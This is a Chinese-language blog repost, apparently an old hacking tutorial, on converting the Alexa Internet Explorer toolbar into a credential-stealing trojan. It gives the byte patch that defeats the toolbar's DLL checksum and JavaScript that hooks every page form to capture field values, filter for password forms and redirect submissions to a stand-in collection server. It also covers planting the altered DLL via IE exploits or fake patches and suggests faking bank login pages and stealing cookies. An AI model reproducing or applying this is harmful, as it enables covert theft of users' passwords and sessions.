把Alexa工具条改装成木马
把Alexa工具條改裝成木馬
From:http://www.neeao.com/blog/article-4118.html
Alexa是一個(gè)發(fā)布全球網(wǎng)站排名信息的網(wǎng)站,他的網(wǎng)址是http://www.alexa.com。Alexa通過(guò)在客戶端安裝Alexa工具條來(lái)收集采樣全球網(wǎng)站的訪問(wèn)數(shù)據(jù),以這些數(shù)據(jù)為依據(jù)對(duì)全球網(wǎng)站進(jìn)行排名,類(lèi)似于電視收視率的統(tǒng)計(jì)。Alexa工具條是一種類(lèi)似于Google工具條的IE插件,你可以在下面URL中下載:http://download.alexa.com/index.cgi。
一、Alexa工具條的工作原理
Alexa工具條是一種基于BHO和Toolbar Bands技術(shù)的一種IE插件。它以DLL文件的形式存在于系統(tǒng)中,是一種COM組件,IE會(huì)在運(yùn)行時(shí)將其加載到自身進(jìn)程中去,所以一般情況下防火墻是無(wú)法禁止該軟件訪問(wèn)網(wǎng)絡(luò)的,這就為他的木馬角色提供了先天的便利,而且比本機(jī)Sniff軟件收集密碼的優(yōu)勢(shì)是:無(wú)論是HTTP還是HTTPS的網(wǎng)站,不管通信通道是否加密,只要是IE頁(yè)面的表單都能收集到。具體原理可以參考《關(guān)于Alexa排名的一些解惑》(http: //www.donews.net/tabris17/archive/2004/09/20/104018.aspx)
系統(tǒng)在安裝了Alexa工具條后,會(huì)在系統(tǒng)目錄下生成AlxTB1.dll和AlxRes.dll兩個(gè)DLL文件(有些情況下是 AlxTB2.dll,而不是AlxTB1.dll。那是因?yàn)锳lexa工具條會(huì)自動(dòng)上網(wǎng)更新的原因)。Alexa工具條的主要二進(jìn)制代碼存在于 AlxTB1.dll文件中,這個(gè)文件同時(shí)也被注冊(cè)成多個(gè)COM組件,他完成了BHO和Toolbar Bands的COM接口,并將IE的WebBrowser控件封裝為一個(gè)COM組件供AlxRes.dll調(diào)用。AlxRes.dll文件僅包含少量的二進(jìn)制代碼,大量的代碼是HTML和JavaScript代碼,他們以資源的形式存在于AlxRes.dll文件中,你可以通過(guò)res: //AlxRes.dll/CHTML/about.html這樣的URL來(lái)訪問(wèn)這些資源。也許你會(huì)奇怪:又不是做網(wǎng)站,為什么軟件的代碼會(huì)是 JavaScript寫(xiě)的?這就是Alexa工具條垃圾的地方。Alexa工具條的主界面是由HTML+JAVASCRIPT實(shí)現(xiàn)的。這些 JAVASCRIPT代碼通過(guò)調(diào)用AlxTB1.dll實(shí)現(xiàn)的COM接口來(lái)實(shí)現(xiàn)軟件的全部功能。這樣做不僅導(dǎo)致軟件的效率低下,而且產(chǎn)生大量的資源泄漏,絕對(duì)是一種VERY超級(jí)SB的開(kāi)發(fā)模式,但是卻為我們修改Alexa工具條的功能提供了方便——根本不需要CRACKER知識(shí),只要一個(gè)PE資源修改工具就可以對(duì)Alexa工具條的代碼進(jìn)行修改了。
二、破解Alexa工具條
當(dāng)然,Alexa也不是真傻,絕對(duì)不會(huì)蠢到讓自己的代碼被你用資源修改工具隨便改。為了防止AlxRes.dll中的資源被隨意修改,他采取了計(jì)算文件校驗(yàn)和的保護(hù)方法,要是發(fā)現(xiàn)文件被修改,就會(huì)拒絕加載。我們?cè)谛薷拇a前,必須破解這種保護(hù)機(jī)制。
AlxTB1.dll導(dǎo)出一個(gè)名叫ChecksumResources的函數(shù),這個(gè)函數(shù)就是用來(lái)計(jì)算文件校驗(yàn)和的。用c32asm反匯編 AlxRes.dll文件,查看字符串調(diào)用列表,找到"ChecksumResources"字符串,跳轉(zhuǎn)到調(diào)用該字符串的代碼,于100017C0處。往下翻幾行,在100017F6處找到一句跳轉(zhuǎn),采用爆破方式,用NOP指令覆蓋JNZ指令即可。通俗點(diǎn)講:就是將AlxRes.dll文件偏移 "0x17F6"處的兩個(gè)字節(jié)"75 11"改成"90 90",你可以使用WinHex之類(lèi)的16進(jìn)制編輯軟件來(lái)修改。
::100017C0:: 68 9C700010 PUSH 1000709C \:BYJMP JmpBy:100017A4,100017B1, \->: ChecksumResources
::100017C5:: 57 PUSH EDI
::100017C6:: FF15 1C500010 CALL [1000501C] >>>: KERNEL32.DLL:GetProcAddress
::100017CC:: 85C0 TEST EAX, EAX
::100017CE:: 74 0E JE SHORT 100017DE \:JMPDOWN
::100017D0:: 8D4D DC LEA ECX, [EBP-24]
::100017D3:: 51 PUSH ECX
::100017D4:: FF35 44740010 PUSH DWORD PTR [10007444]
::100017DA:: FFD0 CALL EAX
::100017DC:: 59 POP ECX
::100017DD:: 59 POP ECX
::100017DE:: 57 PUSH EDI \:BYJMP JmpBy:100017CE,
::100017DF:: FF15 18500010 CALL [10005018] >>>: KERNEL32.DLL:FreeLibrary
::100017E5:: 8D45 B8 LEA EAX, [EBP-48]
::100017E8:: 50 PUSH EAX
::100017E9:: 8D45 DC LEA EAX, [EBP-24]
::100017EC:: 50 PUSH EAX
::100017ED:: E8 AE060000 CALL 10001EA0 \:JMPDOWN
::100017F2:: 59 POP ECX
::100017F3:: 85C0 TEST EAX, EAX
::100017F5:: 59 POP ECX
::100017F6:: 75 11 JNZ SHORT 10001809 \:JMPDOWN ;就是修改這里
現(xiàn)在我們可以毫無(wú)顧忌的修改AlxRes.dll中的資源了。可以參考《新版本的 Alexa Toolbar 破解方法》(http://www.donews.net/tabris17/archive/2004/10/18/137121.aspx)
三、修改Alexa工具條的代碼
熟悉IE編程的人都知道,DWebBrowserEvents2接口是用來(lái)接收WebBrowser的事件通知的,我們可以在AlxRes.dll 的Javascript代碼中找到這些些對(duì)應(yīng)的函數(shù)。在res://AlxRes.dll/SCRIPT/EVT.CLASS.JS的代碼中,有一系列的 JAVASCRIPT函數(shù),對(duì)應(yīng)于DWebBrowserEvents2接口的成員,如:DocumentComplete-> BP_onDocumentComplete,NavigateComplete2->BP_onNavigateComplete, BeforeNavigate2->BP_onBeforeNavigate。按照DWebBrowserEvents2接口,我們可以在 BeforeNavigate2中截獲PostData,但是在AlxRes.dll的代碼中,這個(gè)接口沒(méi)有完全實(shí)現(xiàn)。在 DWebBrowserEvents2接口中的原型是:
void BeforeNavigate2(IDispatch *pDisp,
VARIANT *&url,
VARIANT *&Flags,
VARIANT *&TargetFrameName,
VARIANT *&PostData,
VARIANT *&Headers,
VARIANT_BOOL *&Cancel
);
這其中的PostData包含了的Post數(shù)據(jù)。而B(niǎo)P_onBeforeNavigate的函數(shù)原型:
function BP_onBeforeNavigate(oParentWebBrowser2, oWebBrowser2, sURL, bPostData, sHeaders);
其中,bPostData只是個(gè)BOOL類(lèi)型的變量。此路不通,必須另想辦法。
一般來(lái)說(shuō),我們?cè)贗E中輸入的用戶名密碼都是通過(guò)表單提交到服務(wù)器的,如果能在表單提交前截獲表單的內(nèi)容就可以實(shí)現(xiàn)竊取密碼了。在 JAVASCRIPT中,只要處理表單的"OnSubmit"事件,就可以先于提交而處理表單的內(nèi)容。而AlxRes.dll的功能也是由 JAVASCRIPT實(shí)現(xiàn)的,所以我們就無(wú)需面對(duì)繁瑣的COM接口,而直接使用JAVASCRIPT了。
這里我推薦使用Resource Hacker來(lái)修改AlexRes.dll中的資源,個(gè)人感覺(jué)比eXeScope用起來(lái)爽多了。
四、截獲網(wǎng)頁(yè)表單的內(nèi)容
我現(xiàn)在使用的方法有些類(lèi)似于"跨站點(diǎn)腳本執(zhí)行漏洞"。先來(lái)看看"res://AlxRes.dll/SCRIPT/EVT.CLASS.JS"中的"BP_onDocumentComplete"函數(shù):
function BP_onDocumentComplete(oParentWebBrowser2, oWebBrowser2, sURL);
該函數(shù)在IE的當(dāng)前瀏覽頁(yè)面被加載完成時(shí)被調(diào)用,其中的 oWebBrowser2 參數(shù)可以當(dāng)作當(dāng)前IE正在瀏覽的頁(yè)面的window對(duì)象。如果你懂得JAVASCRIPT的話,接下來(lái)要做的事情就十分簡(jiǎn)單了。添加如下代碼:
function BP_onDocumentComplete(oParentWebBrowser2, oWebBrowser2, sURL) {
... ...
try{
for(i=0;i
{
oWebBrowser2.document.forms[i].οnsubmit=test;
}
}catch(e){}
return false;
}
這段代碼的作用就是枚舉當(dāng)前頁(yè)面中所有的表單對(duì)象,并為這些表單定義OnSubmit事件。接下來(lái)就是完成test函數(shù)了:
function test()
{
try{
window.alert("I can get the value!");
for(i=0;i
{
if(this.elements[i].name!="")
{
window.alert(this.elements[i].name+":"+this.elements[i].value);
//do some thing
}
}
}catch(e){}
return true;
}
不過(guò)用這種方法存在一點(diǎn)弊端:當(dāng)表單是通過(guò)JavaScript語(yǔ)句"Submit()"提交時(shí),不會(huì)產(chǎn)生"OnSubmit"事件,上面的代碼也就無(wú)法紀(jì)錄下表單的內(nèi)容了。可以采用改變表單提交地址的方法來(lái)解決這個(gè)問(wèn)題:
function BP_onDocumentComplete(oParentWebBrowser2, oWebBrowser2, sURL) {
... ...
try{
for(i=0;i
{
oWebBrowser2.document.forms[i].innerHTML=oWebBrowser2.document.forms[i].innerHTML+"";
oWebBrowser2.document.forms[i].action="http://www.faketarget.com/gather.asp";
}
}catch(e){}
return false;
}
以上的代碼對(duì)于某些頁(yè)面存在問(wèn)題,有時(shí)會(huì)無(wú)法將隱藏字段添加到表單中去。
五、散布和植入木馬
以上代碼均是用PE資源軟件修改AlxRes.dll文件實(shí)現(xiàn)的。所以,只要用新的AlxRes.dll文件將原來(lái)系統(tǒng)的AlxRes.dll替換掉。Alexa工具條在加載的時(shí)候會(huì)優(yōu)先在"C:\Program Files\Internet Explorer"和"C:\Documents and Settings\[username]\桌面"這兩個(gè)路徑下搜索AlxRes.dll,所以也可以把修改過(guò)的AlxRes.dll放到這兩個(gè)路徑下,這樣就不用覆蓋源文件了。至于怎么安裝,那可是有一大堆的IE漏洞等著你去Exploit呢,這可不是本文涉及的范圍。
安裝了Alexa工具條的IE的"User-Agent"會(huì)加入"Alexa Toolbar"的標(biāo)記,所以很容易區(qū)分目標(biāo)的IE是否已經(jīng)安裝了Alexa工具條:
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toobar)
也可以修改Alexa的安裝文件,或者以Alexa補(bǔ)丁的名義來(lái)發(fā)布,這個(gè)就扯遠(yuǎn)了。
六、收集密碼
你可以用FileSystemObject控件來(lái)將表單內(nèi)容紀(jì)錄到文件,或者直接作為參數(shù)發(fā)送到某個(gè)Web服務(wù)器,由web服務(wù)器收集紀(jì)錄下來(lái)即可。為了在客戶端過(guò)濾一些不包含密碼的表單,最好在AlxRes.dll的代碼中對(duì)收集的表單數(shù)據(jù)進(jìn)行一些檢查:
function test()
{
var IsPwdForm=false;
var FormStr;
try{
for(i=0;i
{
if(this.elements[i].name!="")
{
if(this.elements[i].type=="password")
IsPwdForm=true;
FormStr=FormStr+this.elements[i].name+"="+this.elements[i].value+"&";
}
}
if(IsPwdForm)
{
//表單包含密碼文本,進(jìn)行收集
}
}catch(e){}
return true;
}
七、其他的應(yīng)用
大多數(shù)的網(wǎng)上銀行登陸界面是由ActiveX控件實(shí)現(xiàn)的,無(wú)法截獲表單數(shù)據(jù),但是我們可以通過(guò)"oWebBrowser2"對(duì)象來(lái)操縱、修改瀏覽的頁(yè)面,當(dāng)然也可以偽造一個(gè)網(wǎng)上銀行的登陸界面。還可以用來(lái)收集用戶瀏覽網(wǎng)頁(yè)的紀(jì)錄,也可以用來(lái)竊取用戶COOKIE等。
總結(jié)
以上是生活随笔為你收集整理的把Alexa工具条改装成木马的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 图像识别从零写出dnf脚本关键要点
- 下一篇: Vijos——T 1092 全排列